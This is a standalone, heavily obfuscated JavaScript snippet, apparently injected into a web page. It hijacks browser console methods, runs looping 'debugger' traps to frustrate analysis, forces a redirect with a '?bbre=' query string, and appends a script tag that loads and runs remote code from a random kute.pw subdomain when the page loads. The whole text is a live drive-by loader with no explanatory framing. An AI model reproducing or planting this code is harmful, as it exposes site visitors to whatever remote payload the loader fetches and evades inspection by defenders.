<script>var _0x494a01=function(){var e=!0;return function(t,r){var n=e?function(){if(r){var n=r.apply(t,arguments);return r=null,n}}:function(){};return e=!1,n}}();!function(){_0x494a01(this,function(){var n=new RegExp("function *\\( *\\)"),t=new RegExp("\\+\\+ *(?:[a-zA-Z_$][0-9a-zA-Z_$]*)","i"),r=_0x39917f("init");n.test(r+"chain")&&t.test(r+"input")?_0x39917f():r("0")})()}();var _0xfda88f=function(){var e=!0;return function(t,r){var n=e?function(){if(r){var n=r.apply(t,arguments);return r=null,n}}:function(){};return e=!1,n}}(),_0x460f19=_0xfda88f(this,function(){try{var t=Function('return (function() {}.constructor("return this")( ));')()}catch(n){t=window}for(var n=t.console=t.console||{},r=["log","warn","info","error","exception","table","trace"],e=0;e<r.length;e++){var o=_0xfda88f.constructor.prototype.bind(_0xfda88f),c=r[e],f=n[c]||o;o.__proto__=_0xfda88f.bind(_0xfda88f),o.toString=f.toString.bind(f),n[c]=o}});_0x460f19();var kmklweacnebvzdmqt="!&@M5mWwRo8IlYXFA4Si&!@yNG0vpdu1sgcaLfJoD83mjrTwVHP&@!";-1==window.location.href.indexOf("bbre=")&&(window.location.href=document.location.pathname+"?bbre=CJxhajHwZRAkpS#/ld-"+zghnekuypmgrdavno),setInterval(function(){_0x39917f()},4e3);var emfromgetnbrtoo="",MmpXwRBIvrSVobWhlFknjNTcZftLD=document.createElement("script");function _0x39917f(n){function t(n){if("string"==typeof n)return function(n){}.constructor("while (true) {}").apply("counter");1!==(""+n/n).length||n%20==0?function(){return!0}.constructor("debugger").call("action"):function(){return!1}.constructor("debugger").apply("stateObject"),t(++n)}try{if(n)return t;t(0)}catch(n){}}MmpXwRBIvrSVobWhlFknjNTcZftLD.type="text/javascript",MmpXwRBIvrSVobWhlFknjNTcZftLD.src="https://pewmcosdafrzsthfanqjdbogyn.kute.pw/661e6f9ee82efeb17bcd4fb4-65f864dbbcfcb1ebba73f46e.js",document.getElementsByTagName("head")[0].appendChild(MmpXwRBIvrSVobWhlFknjNTcZftLD);</script>